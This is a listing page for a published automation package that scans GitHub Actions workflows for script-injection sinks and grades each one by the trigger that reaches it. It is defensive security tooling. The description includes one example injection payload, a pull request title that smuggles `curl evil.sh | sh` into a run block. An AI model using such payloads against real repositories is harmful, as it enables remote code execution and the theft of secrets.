playrote.play.v1

llgoyal6/workflow-injectionv0.3.0Public

Workflow injection

Answers one question about your CI: can somebody who opens a pull request or an issue run code in it? A GitHub Actions runner substitutes every ${{ ...

Read the full description

}} as TEXT into the script before bash ever sees it, so a pull request titled `"; curl evil.sh | sh; #` becomes a command rather than a string. This finds every attacker-controlled expression interpolated into a `run:` block, or into actions/github-script's `script:`, which is the same eval sink one language over, and grades each one by the trigger that reaches it, because the trigger is the entire difference between a nuisance and a repository takeover: under pull_request_target, issue_comment, issues, pull_request_review, workflow_run or discussion the job holds the base repository's secrets and a writable token, so an injection is critical; under plain pull_request a fork runs with no secrets and a read-only token, so the same expression is medium; and an expression whose field no declared trigger ever populates is reported, graded low, and said to be unrea

  • Published 4 Sep 2026
  • Downloads 2
  • Needs rote 0.62.0+
  • Digest sha256:d2d5cc3ba257…
  • Reference lgoyal6/workflow-injection@0.3.0

Before you run it9 local tools

Everything here is checked on your machine when rote inspects the play. This page never learns what you have installed or which credentials you hold.

  • ○
    bashlocal tool

    Must be on your PATH when used. minimum version undeclared.

  • ○
    python3local tool

    Requires >=3.8.0. Run rote play inspect to check your host; unverified versions remain unknown.

  • ○
    findlocal tooloptional

    Must be on your PATH when used. minimum version undeclared.

  • ○
    sortlocal tooloptional

    Must be on your PATH when used. minimum version undeclared.

  • ○
    mktemplocal tooloptional

    Must be on your PATH when used. minimum version undeclared.

  • ○
    rmlocal tooloptional

    Must be on your PATH when used. minimum version undeclared.

  • ○
    wclocal tooloptional

    Must be on your PATH when used. minimum version undeclared.

  • ○
    trlocal tooloptional

    Must be on your PATH when used. minimum version undeclared.

  • ○
    headlocal tooloptional

    Must be on your PATH when used. minimum version undeclared.

Inputs3, 1 required

rote asks for these before running and shows the defaults it will use.

  • Rootroot

    Directory tree to search for .github/workflows directories; every workflow found is graded on its own `on:` block, because severity here is decided by the trigger

    requiredstringexample .custom value allowed
  • Depthdepth

    How many directory levels below root a .github directory may sit, so a folder full of checkouts can be audited repo by repo; a repo checked out directly at root is depth 1

    optionalstringdefault 4example 3custom value allowed
  • Toptop

    How many findings each workflow file reports; exact totals are always kept, only the printed list is capped

    optionalstringdefault 12example 6custom value allowed

What it changes

No write operations are declared in this version's manifest.

Credentials remain in the recipient's local rote vault; this page and the publisher never receive them.

Runtime details
  • rote CLIversion 0.62.0 or newer
  • Servicesnone declared
  • Digestsha256:d2d5cc3ba257885d36b2a9bf8a4bc66949552f42885944d09c41dc5cf4a39903
  • Archive size33540 bytes
  • Published2026-09-04T04:33:24.280615+00:00
  • Published withrote 0.78.0

Credential values and current readiness remain local. Opening this page never prompts for a credential, opens an authorization browser, or calls a service this play uses.

A play is a published, versioned automation package that runs on your own machine through rote, a free command-line tool. Opening this page installs nothing and runs nothing.